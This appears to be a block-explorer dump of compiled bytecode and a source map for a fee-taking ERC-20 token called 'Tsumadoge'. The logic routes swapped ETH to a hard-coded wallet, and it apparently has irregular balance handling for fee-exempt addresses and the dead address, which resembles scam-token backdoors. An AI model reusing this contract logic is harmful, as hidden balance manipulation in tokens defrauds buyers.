405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b60648201526084016107c0565b505b6001600160a01b03821660009081526003602052604090205460ff161580156109f857506001600160a01b03831660009081526003602052604090205460ff16155b15610a8b5760075460ff61010082048116911610801590610a235750601054600160a01b900460ff16155b8015610a3d57506010546001600160a01b03848116911614155b8015610a525750601054600160a81b900460ff165b15610a8b5730600090815260016020526040902054600e54811115610a765750600e545b6007805460ff19169055610a8981610bed565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610ace57506001600160a01b03841660009081526003602052604090205460ff165b15610adc5760009150610b4c565b6010546001600160a01b0390811690861603610af6575060015b43600b5403610b1557600c54610b0d9060016114cb565b600c55610b1f565b43600b556001600c555b6007805460ff16906000610b32836114de565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b03851660009081526003602052604090205460ff168015610b8c57506001600160a01b03841660009081526003602052604090205460ff165b15610ba157610b9c858585610d39565b610bae565b610bae8585858585610d9e565b5050505050565b60008184841115610bd95760405162461bcd60e51b81526004016107c0919061136a565b505050900390565b600061075682846114cb565b6010805460ff60a01b1916600160a01b17905560065460009060c890610c1390846114fd565b610c1d91906114a9565b90506000606460055484610c3191906114fd565b610c3b91906114a9565b905047610c50610c4b83856114cb565b611126565b6000610c5c8247611514565b90506000600554600654610c7091906114cb565b600554610c7e9060646114fd565b610c8891906114a9565b905060006064610c9883856114fd565b610ca291906114a9565b9050610cb786610cb28386611514565b611280565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186610ce38386611514565b604080519283526020830191909152810188905260600160405180910390a1479250610d2373bc3de487b3dd0d2683d27db0a4b32842c90fdd098461132f565b50506010805460ff60a01b191690555050505050565b6001600160a01b038084166000908152600160205260408082205492851682529020548190610d699084906114cb565b610d7391906114cb565b610d7d9190611514565b6001600160a01b039092166000908152600160205260409020919091555050565b81610e58576001600160a01b038516600090815260016020526040902054610dc7908490611514565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610df79084906114cb565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e4b9087815260200190565b60405180910390a3610bae565b8015610f765760006064600c5460085486610e7391906114fd565b610e7d91906114fd565b610e8791906114a9565b90506000610e958286611514565b6001600160a01b038816600090815260016020526040902054909150610ebc908690611514565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610eec9082906114cb565b6001600160a01b038716600090815260016020526040808220929092553081522054610f199083906114cb565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610bae565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54600c5460095460649190610fb990886114fd565b610fc391906114fd565b610fcd91906114a9565b610fd791906114cb565b9050600c5460020361100057606460095485610ff391906114fd565b610ffd91906114a9565b90505b60006103e8600a548661101391906114fd565b61101d91906114a9565b905060008161102c8488611514565b6110369190611514565b6001600160a01b038916600090815260016020526040902054909150829061105f908890611514565b61106991906114cb565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546110999082906114cb565b6001600160a01b0388166000908152600160205260408082209290925530815220546110c69084906114cb565b3060009081526001602090815260409182902092909255518281526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061115b5761115b611527565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d8919061153d565b816001815181106111eb576111eb611527565b6001600160a01b039283166020918202929092010152600f54611211913091168461075d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124a90859060009086903090429060040161155a565b600060405180830381600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b505050505050565b600f5461dead9061129c9030906001600160a01b03168561075d565b600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c40160606040518083038185885af115801561130a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061127891906115cb565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611365573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b818110156113975785810183015185820160400152820161137b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113cd57600080fd5b50565b600080604083850312156113e357600080fd5b82356113ee816113b8565b946020939093013593505050565b60008060006060848603121561141157600080fd5b833561141c816113b8565b9250602084013561142c816113b8565b929592945050506040919091013590565b60006020828403121561144f57600080fd5b8135610756816113b8565b6000806040838503121561146d57600080fd5b8235611478816113b8565b91506020830135611488816113b8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000826114c657634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059057610590611493565b600060ff821660ff81036114f4576114f4611493565b60010192915050565b808202811582820484141761059057610590611493565b8181038181111561059057610590611493565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561154f57600080fd5b8151610756816113b8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115aa5784516001600160a01b031683529383019391830191600101611585565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156115e057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a27fde2e532c1f1d7b39cedcb940cb4ef67e5ca8e2f0a4b9584423c4430f837864736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c806370e3d474116100ec578063a457c2d71161008a578063ba6c24a211610064578063ba6c24a2146104f7578063dd62ed3e1461050d578063e033da2a14610553578063fa9771691461056957600080fd5b8063a457c2d7146104a1578063a9059cbb146104c1578063af465a27146104e157600080fd5b806378109e54116100c657806378109e54146104255780637d1db4a51461043b5780638da5cb5b1461045157806395d89b411461046f57600080fd5b806370e3d474146103c8578063715018a6146103de578063768dc710146103f557600080fd5b806339509351116101595780634a74bb02116101335780634a74bb02146103455780634c22cd351461036657806366835bf41461037c57806370a082311461039257600080fd5b806339509351146102ef5780633fc81d681461030f57806349bd5a5e1461032557600080fd5b806318160ddd1161019557806318160ddd14610273578063220f66961461029257806323b872dd146102b3578063313ce567146102d357600080fd5b806306fdde03146101c7578063095ea7b31461020b5780631694505e1461023b57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260098152685473756d61646f676560b81b60208201525b604051610202919061136a565b60405180910390f35b34801561021757600080fd5b5061022b6102263660046113d0565b61057f565b6040519015158152602001610202565b34801561024757600080fd5b50600f5461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610202565b34801561027f57600080fd5b506004545b604051908152602001610202565b34801561029e57600080fd5b5060105461022b90600160a01b900460ff1681565b3480156102bf57600080fd5b5061022b6102ce3660046113fc565b610596565b3480156102df57600080fd5b50604051600a8152602001610202565b3480156102fb57600080fd5b5061022b61030a3660046113d0565b610640565b34801561031b57600080fd5b50610284600b5481565b34801561033157600080fd5b5060105461025b906001600160a01b031681565b34801561035157600080fd5b5060105461022b90600160a81b900460ff1681565b34801561037257600080fd5b5061028460055481565b34801561038857600080fd5b5061028460065481565b34801561039e57600080fd5b506102846103ad36600461143d565b6001600160a01b031660009081526001602052604090205490565b3480156103d457600080fd5b50610284600a5481565b3480156103ea57600080fd5b506103f3610676565b005b34801561040157600080fd5b5061022b61041036600461143d565b60036020526000908152604090205460ff1681565b34801561043157600080fd5b50610284600d5481565b34801561044757600080fd5b50610284600e5481565b34801561045d57600080fd5b506000546001600160a01b031661025b565b34801561047b57600080fd5b506040805180820190915260098152685453554d41444f474560b81b60208201526101f5565b3480156104ad57600080fd5b5061022b6104bc3660046113d0565b6106c0565b3480156104cd57600080fd5b5061022b6104dc3660046113d0565b61073d565b3480156104ed57600080fd5b5061028460045481565b34801561050357600080fd5b50610284600c5481565b34801561051957600080fd5b5061028461052836600461145a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055f57600080fd5b5061028460095481565b34801561057557600080fd5b5061028460085481565b600061058c33848461075d565b5060015b92915050565b60006105a384848461088f565b6106368433610631856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106103390565b6001600160a01b031681526020810191909152604001600020549190610bb5565b61075d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161058c9185906106319086610be1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061058c3384610631856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f00000000008152506002600061070c3390565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610bb5565b600061058c33848461088f565b600061075682846114a9565b9392505050565b6001600160a01b0383166107c95760405162461bcd60e51b815260206004820152602860248201527f4552433230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b03821661082e5760405162461bcd60e51b815260206004820152602660248201527f4552433230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b60648201526084016107c0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff161580156108d157506001600160a01b03831660009081526003602052604090205460ff16155b80156108eb57506010546001600160a01b03838116911614155b156109b6576001600160a01b038216600090815260016020526040902054600d5461091683836114cb565b11156109585760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b60448201526064016107c0565b600082116109b45760405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b60648201526084016107c0565b505b6001600160a01b03821660009081526003602052604090205460ff161580156109f857506001600160a01b03831660009081526003602052604090205460ff16155b15610a8b5760075460ff61010082048116911610801590610a235750601054600160a01b900460ff16155b8015610a3d57506010546001600160a01b03848116911614155b8015610a525750601054600160a81b900460ff165b15610a8b5730600090815260016020526040902054600e54811115610a765750600e545b6007805460ff19169055610a8981610bed565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610ace57506001600160a01b03841660009081526003602052604090205460ff165b15610adc5760009150610b4c565b6010546001600160a01b0390811690861603610af6575060015b43600b5403610b1557600c54610b0d9060016114cb565b600c55610b1f565b43600b556001600c555b6007805460ff16906000610b32836114de565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b03851660009081526003602052604090205460ff168015610b8c57506001600160a01b03841660009081526003602052604090205460ff165b15610ba157610b9c858585610d39565b610bae565b610bae8585858585610d9e565b5050505050565b60008184841115610bd95760405162461bcd60e51b81526004016107c0919061136a565b505050900390565b600061075682846114cb565b6010805460ff60a01b1916600160a01b17905560065460009060c890610c1390846114fd565b610c1d91906114a9565b90506000606460055484610c3191906114fd565b610c3b91906114a9565b905047610c50610c4b83856114cb565b611126565b6000610c5c8247611514565b90506000600554600654610c7091906114cb565b600554610c7e9060646114fd565b610c8891906114a9565b905060006064610c9883856114fd565b610ca291906114a9565b9050610cb786610cb28386611514565b611280565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186610ce38386611514565b604080519283526020830191909152810188905260600160405180910390a1479250610d2373bc3de487b3dd0d2683d27db0a4b32842c90fdd098461132f565b50506010805460ff60a01b191690555050505050565b6001600160a01b038084166000908152600160205260408082205492851682529020548190610d699084906114cb565b610d7391906114cb565b610d7d9190611514565b6001600160a01b039092166000908152600160205260409020919091555050565b81610e58576001600160a01b038516600090815260016020526040902054610dc7908490611514565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610df79084906114cb565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e4b9087815260200190565b60405180910390a3610bae565b8015610f765760006064600c5460085486610e7391906114fd565b610e7d91906114fd565b610e8791906114a9565b90506000610e958286611514565b6001600160a01b038816600090815260016020526040902054909150610ebc908690611514565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610eec9082906114cb565b6001600160a01b038716600090815260016020526040808220929092553081522054610f199083906114cb565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610bae565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54600c5460095460649190610fb990886114fd565b610fc391906114fd565b610fcd91906114a9565b610fd791906114cb565b9050600c5460020361100057606460095485610ff391906114fd565b610ffd91906114a9565b90505b60006103e8600a548661101391906114fd565b61101d91906114a9565b905060008161102c8488611514565b6110369190611514565b6001600160a01b038916600090815260016020526040902054909150829061105f908890611514565b61106991906114cb565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546110999082906114cb565b6001600160a01b0388166000908152600160205260408082209290925530815220546110c69084906114cb565b3060009081526001602090815260409182902092909255518281526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061115b5761115b611527565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d8919061153d565b816001815181106111eb576111eb611527565b6001600160a01b039283166020918202929092010152600f54611211913091168461075d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124a90859060009086903090429060040161155a565b600060405180830381600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b505050505050565b600f5461dead9061129c9030906001600160a01b03168561075d565b600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c40160606040518083038185885af115801561130a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061127891906115cb565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611365573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b818110156113975785810183015185820160400152820161137b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113cd57600080fd5b50565b600080604083850312156113e357600080fd5b82356113ee816113b8565b946020939093013593505050565b60008060006060848603121561141157600080fd5b833561141c816113b8565b9250602084013561142c816113b8565b929592945050506040919091013590565b60006020828403121561144f57600080fd5b8135610756816113b8565b6000806040838503121561146d57600080fd5b8235611478816113b8565b91506020830135611488816113b8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000826114c657634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059057610590611493565b600060ff821660ff81036114f4576114f4611493565b60010192915050565b808202811582820484141761059057610590611493565b8181038181111561059057610590611493565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561154f57600080fd5b8151610756816113b8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115aa5784516001600160a01b031683529383019391830191600101611585565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156115e057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a27fde2e532c1f1d7b39cedcb940cb4ef67e5ca8e2f0a4b9584423c4430f837864736f6c63430008110033
Deployed Bytecode Sourcemap
10331:9753:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12552:83;;;;;;;;;;-1:-1:-1;12622:5:0;;;;;;;;;;;;-1:-1:-1;;;12622:5:0;;;;12552:83;;;;;;;:::i;:::-;;;;;;;;13382:161;;;;;;;;;;-1:-1:-1;13382:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13382:161:0;1023:187:1;11396:41:0;;;;;;;;;;-1:-1:-1;11396:41:0;;;;-1:-1:-1;;;;;11396:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;11396:41:0;1215:229:1;12829:95:0;;;;;;;;;;-1:-1:-1;12909:7:0;;12829:95;;;1595:25:1;;;1583:2;1568:18;12829:95:0;1449:177:1;11479:28:0;;;;;;;;;;-1:-1:-1;11479:28:0;;;;-1:-1:-1;;;11479:28:0;;;;;;13551:304;;;;;;;;;;-1:-1:-1;13551:304:0;;;;;:::i;:::-;;:::i;12738:83::-;;;;;;;;;;-1:-1:-1;12738:83:0;;10733:2;2234:36:1;;2222:2;2207:18;12738:83:0;2092:184:1;13863:218:0;;;;;;;;;;-1:-1:-1;13863:218:0;;;;;:::i;:::-;;:::i;11174:25::-;;;;;;;;;;;;;;;;11444:28;;;;;;;;;;-1:-1:-1;11444:28:0;;;;-1:-1:-1;;;;;11444:28:0;;;11514:40;;;;;;;;;;-1:-1:-1;11514:40:0;;;;-1:-1:-1;;;11514:40:0;;;;;;10915:24;;;;;;;;;;;;;;;;10946:38;;;;;;;;;;;;;;;;12932:117;;;;;;;;;;-1:-1:-1;12932:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;13025:16:0;12998:7;13025:16;;;:7;:16;;;;;;;12932:117;11131:36;;;;;;;;;;;;;;;;10179:139;;;;;;;;;;;;;:::i;:::-;;10588:51;;;;;;;;;;-1:-1:-1;10588:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11251:55;;;;;;;;;;;;;;;;11313:45;;;;;;;;;;;;;;;;10083:87;;;;;;;;;;-1:-1:-1;10129:7:0;10156:6;-1:-1:-1;;;;;10156:6:0;10083:87;;12643;;;;;;;;;;-1:-1:-1;12715:7:0;;;;;;;;;;;;-1:-1:-1;;;12715:7:0;;;;12643:87;;14089:259;;;;;;;;;;-1:-1:-1;14089:259:0;;;;;:::i;:::-;;:::i;13057:167::-;;;;;;;;;;-1:-1:-1;13057:167:0;;;;;:::i;:::-;;:::i;10742:46::-;;;;;;;;;;;;;;;;11207:34;;;;;;;;;;;;;;;;13231:143;;;;;;;;;;-1:-1:-1;13231:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13339:18:0;;;13312:7;13339:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13231:143;11097:27;;;;;;;;;;;;;;;;11064:26;;;;;;;;;;;;;;;;13382:161;13457:4;13474:39;2080:10;13497:7;13506:6;13474:8;:39::i;:::-;-1:-1:-1;13531:4:0;13382:161;;;;;:::o;13551:304::-;13649:4;13666:36;13676:6;13684:9;13695:6;13666:9;:36::i;:::-;13713:112;13722:6;2080:10;13744:80;13782:6;13744:80;;;;;;;;;;;;;;;;;:11;:19;13756:6;-1:-1:-1;;;;;13744:19:0;-1:-1:-1;;;;;13744:19:0;;;;;;;;;;;;:33;13764:12;2080:10;;2000:98;13764:12;-1:-1:-1;;;;;13744:33:0;;;;;;;;;;;;-1:-1:-1;13744:33:0;;;:80;:37;:80::i;:::-;13713:8;:112::i;:::-;-1:-1:-1;13843:4:0;13551:304;;;;;:::o;13863:218::-;2080:10;13951:4;14000:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14000:34:0;;;;;;;;;;13951:4;;13968:83;;13991:7;;14000:50;;14039:10;14000:38;:50::i;10179:139::-;10277:1;10261:6;;10240:40;;-1:-1:-1;;;;;10261:6:0;;;;10240:40;;10277:1;;10240:40;10308:1;10291:19;;-1:-1:-1;;;;;;10291:19:0;;;10179:139::o;14089:259::-;14182:4;14199:119;2080:10;14222:7;14231:86;14270:15;14231:86;;;;;;;;;;;;;;;;;:11;:25;14243:12;2080:10;;2000:98;14243:12;-1:-1:-1;;;;;14231:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;14231:25:0;;;:34;;;;;;;;;;;:86;:38;:86::i;13057:167::-;13135:4;13152:42;2080:10;13176:9;13187:6;13152:9;:42::i;1423:98::-;1481:7;1508:5;1512:1;1508;:5;:::i;:::-;1501:12;1423:98;-1:-1:-1;;;1423:98:0:o;14494:343::-;-1:-1:-1;;;;;14587:19:0;;14579:72;;;;-1:-1:-1;;;14579:72:0;;3690:2:1;14579:72:0;;;3672:21:1;3729:2;3709:18;;;3702:30;3768:34;3748:18;;;3741:62;-1:-1:-1;;;3819:18:1;;;3812:38;3867:19;;14579:72:0;;;;;;;;;-1:-1:-1;;;;;14670:21:0;;14662:72;;;;-1:-1:-1;;;14662:72:0;;4099:2:1;14662:72:0;;;4081:21:1;4138:2;4118:18;;;4111:30;4177:34;4157:18;;;4150:62;-1:-1:-1;;;4228:18:1;;;4221:36;4274:19;;14662:72:0;3897:402:1;14662:72:0;-1:-1:-1;;;;;14745:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14797:32;;1595:25:1;;;14797:32:0;;1568:18:1;14797:32:0;;;;;;;14494:343;;;:::o;15338:1692::-;-1:-1:-1;;;;;15460:22:0;;;;;;:18;:22;;;;;;;;15459:23;:61;;;;-1:-1:-1;;;;;;15496:24:0;;;;;;:18;:24;;;;;;;;15495:25;15459:61;:97;;;;-1:-1:-1;15543:13:0;;-1:-1:-1;;;;;15537:19:0;;;15543:13;;15537:19;;15459:97;15454:323;;;-1:-1:-1;;;;;13025:16:0;;15572:18;13025:16;;;:7;:16;;;;;;15654:15;;15630:19;15643:6;13025:16;15630:19;:::i;:::-;15629:40;;15621:69;;;;-1:-1:-1;;;15621:69:0;;4636:2:1;15621:69:0;;;4618:21:1;4675:2;4655:18;;;4648:30;-1:-1:-1;;;4694:18:1;;;4687:47;4751:18;;15621:69:0;4434:341:1;15621:69:0;15730:1;15721:6;:10;15713:58;;;;-1:-1:-1;;;15713:58:0;;4982:2:1;15713:58:0;;;4964:21:1;5021:2;5001:18;;;4994:30;5060:34;5040:18;;;5033:62;-1:-1:-1;;;5111:18:1;;;5104:33;5154:19;;15713:58:0;4780:399:1;15713:58:0;15557:220;15454:323;-1:-1:-1;;;;;15795:22:0;;;;;;:18;:22;;;;;;;;15794:23;:61;;;;-1:-1:-1;;;;;;15831:24:0;;;;;;:18;:24;;;;;;;;15830:25;15794:61;15789:529;;;15896:11;;;;;;;;15885:7;;:22;;;;:57;;-1:-1:-1;15926:16:0;;-1:-1:-1;;;15926:16:0;;;;15925:17;15885:57;:95;;;;-1:-1:-1;15967:13:0;;-1:-1:-1;;;;;15959:21:0;;;15967:13;;15959:21;;15885:95;:133;;;;-1:-1:-1;15997:21:0;;-1:-1:-1;;;15997:21:0;;;;15885:133;15868:443;;;16124:4;16075:28;13025:16;;;:7;:16;;;;;;16171:12;;16148:35;;16145:78;;;-1:-1:-1;16209:12:0;;16145:78;16237:7;:11;;-1:-1:-1;;16237:11:0;;;16263:36;16278:20;16263:14;:36::i;:::-;16044:267;15868:443;-1:-1:-1;;;;;16385:24:0;;16328:12;16385:24;;;:18;:24;;;;;;16343:4;;16328:12;16385:24;;;:50;;-1:-1:-1;;;;;;16413:22:0;;;;;;:18;:22;;;;;;;;16385:50;16382:440;;;16461:5;16451:15;;16382:440;;;16510:13;;-1:-1:-1;;;;;16510:13:0;;;16502:21;;;;16499:72;;-1:-1:-1;16551:4:0;16499:72;16603:12;16589:10;;:26;16585:202;;16653:15;;:17;;16669:1;16653:17;:::i;:::-;16635:15;:35;16585:202;;;16721:12;16709:10;:24;16770:1;16752:15;:19;16585:202;16801:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;16382:440;-1:-1:-1;;;;;16836:24:0;;;;;;:18;:24;;;;;;;;:50;;;;-1:-1:-1;;;;;;16864:22:0;;;;;;:18;:22;;;;;;;;16836:50;16833:188;;;16902:30;16915:4;16921:2;16925:6;16902:12;:30::i;:::-;16833:188;;;16961:48;16976:4;16982:2;16986:6;16994:7;17003:5;16961:14;:48::i;:::-;15441:1589;;15338:1692;;;:::o;1529:206::-;1615:7;1676:12;1668:6;;;;1660:29;;;;-1:-1:-1;;;1660:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1711:5:0;;;1529:206::o;1101:98::-;1159:7;1186:5;1190:1;1186;:5;:::i;17179:808::-;11809:16;:23;;-1:-1:-1;;;;11809:23:0;-1:-1:-1;;;11809:23:0;;;17309:18:::1;::::0;11809:23;;17330:3:::1;::::0;17286:41:::1;::::0;:20;:41:::1;:::i;:::-;:47;;;;:::i;:::-;17268:65;;17348:12;17394:3;17387:4;;17364:20;:27;;;;:::i;:::-;:33;;;;:::i;:::-;17348:49:::0;-1:-1:-1;17440:21:0::1;17476:30;17493:12;17348:49:::0;17493:7;:12:::1;:::i;:::-;17476:16;:30::i;:::-;17521:15;17539:41;17563:17:::0;17539:21:::1;:41;:::i;:::-;17521:59;;17595:15;17649:4;;17627:18;;:26;;;;:::i;:::-;17613:4;::::0;:10:::1;::::0;17620:3:::1;17613:10;:::i;:::-;:41;;;;:::i;:::-;17595:59:::0;-1:-1:-1;17669:13:0::1;17705:3;17685:17;17595:59:::0;17685:7;:17:::1;:::i;:::-;:23;;;;:::i;:::-;17669:39:::0;-1:-1:-1;17723:41:0::1;17736:7:::0;17746:16:::1;17669:39:::0;17746:7;:16:::1;:::i;:::-;17723:12;:41::i;:::-;17784:52;17799:7:::0;17809:16:::1;17820:5:::0;17809:7;:16:::1;:::i;:::-;17784:52;::::0;;5872:25:1;;;5928:2;5913:18;;5906:34;;;;5956:18;;5949:34;;;5860:2;5845:18;17784:52:0::1;;;;;;;17861:21;17851:31;;17897:74;17918:42;17963:7;17897:12;:74::i;:::-;-1:-1:-1::0;;11855:16:0;:24;;-1:-1:-1;;;;11855:24:0;;;-1:-1:-1;;;;;17179:808:0:o;19420:184::-;-1:-1:-1;;;;;19581:15:0;;;;;;;:7;:15;;;;;;;19538:18;;;;;;;;19581:15;;19538:26;;19557:7;;19538:26;:::i;:::-;:42;;;;:::i;:::-;:58;;;;:::i;:::-;-1:-1:-1;;;;;19517:18:0;;;;;;;:7;:18;;;;;:79;;;;-1:-1:-1;;19420:184:0:o;18012:1401::-;18145:7;18141:1263;;-1:-1:-1;;;;;18186:15:0;;;;;;:7;:15;;;;;;:23;;18202:7;;18186:23;:::i;:::-;-1:-1:-1;;;;;18168:15:0;;;;;;;:7;:15;;;;;;:41;;;;18245:18;;;;;;;:26;;18264:7;;18245:26;:::i;:::-;-1:-1:-1;;;;;18224:18:0;;;;;;;:7;:18;;;;;;;:47;;;;18291:36;;;;;;;;;;18319:7;1595:25:1;;1583:2;1568:18;;1449:177;18291:36:0;;;;;;;;18141:1263;;;18357:5;18353:1051;;;18378:14;18427:3;18411:15;;18403:7;;18395;:15;;;;:::i;:::-;:31;;;;:::i;:::-;:35;;;;:::i;:::-;18378:52;-1:-1:-1;18445:23:0;18471:14;18378:52;18471:7;:14;:::i;:::-;-1:-1:-1;;;;;18518:15:0;;;;;;:7;:15;;;;;;18445:40;;-1:-1:-1;18518:23:0;;18534:7;;18518:23;:::i;:::-;-1:-1:-1;;;;;18500:15:0;;;;;;;:7;:15;;;;;;:41;;;;18577:18;;;;;;;:34;;18596:15;;18577:34;:::i;:::-;-1:-1:-1;;;;;18556:18:0;;;;;;:7;:18;;;;;;:55;;;;18667:4;18651:22;;;;:29;;18674:6;;18651:29;:::i;:::-;18642:4;18626:22;;;;:7;:22;;;;;;;;;:54;;;;18703:44;1595:25:1;;;-1:-1:-1;;;;;18703:44:0;;;;;;;;;;1568:18:1;18703:44:0;;;;;;;18363:400;;18353:1051;;;18857:42;18784:15;18841:60;;;:7;:60;;;;18819:15;;18810:8;;18835:3;;18819:15;18802:16;;:7;:16;:::i;:::-;:32;;;;:::i;:::-;:36;;;;:::i;:::-;:99;;;;:::i;:::-;18784:117;;18920:15;;18939:1;18920:20;18916:59;;18970:3;18961:8;;18953:7;:16;;;;:::i;:::-;:20;;;;:::i;:::-;18943:30;;18916:59;19001:15;19049:4;19029:19;;19019:7;:29;;;;:::i;:::-;:34;;;;:::i;:::-;19001:52;-1:-1:-1;19068:23:0;19001:52;19094:15;19102:7;19094;:15;:::i;:::-;:23;;;;:::i;:::-;-1:-1:-1;;;;;19150:15:0;;;;;;:7;:15;;;;;;19068:49;;-1:-1:-1;19174:7:0;;19150:23;;19166:7;;19150:23;:::i;:::-;:31;;;;:::i;:::-;-1:-1:-1;;;;;19132:15:0;;;;;;;:7;:15;;;;;;:49;;;;19217:18;;;;;;;:34;;19236:15;;19217:34;:::i;:::-;-1:-1:-1;;;;;19196:18:0;;;;;;:7;:18;;;;;;:55;;;;19307:4;19291:22;;;;:30;;19314:7;;19291:30;:::i;:::-;19282:4;19266:22;;;;:7;:22;;;;;;;;;:55;;;;19344:44;1595:25:1;;;-1:-1:-1;;;;;19344:44:0;;;;;;;;;;1568:18:1;19344:44:0;;;;;;;18769:635;;;18012:1401;;;;;:::o;19609:472::-;19699:16;;;19713:1;19699:16;;;;;;;;19675:21;;19699:16;;;;;;;;;;-1:-1:-1;19699:16:0;19675:40;;19744:4;19726;19731:1;19726:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19726:23:0;;;:7;;;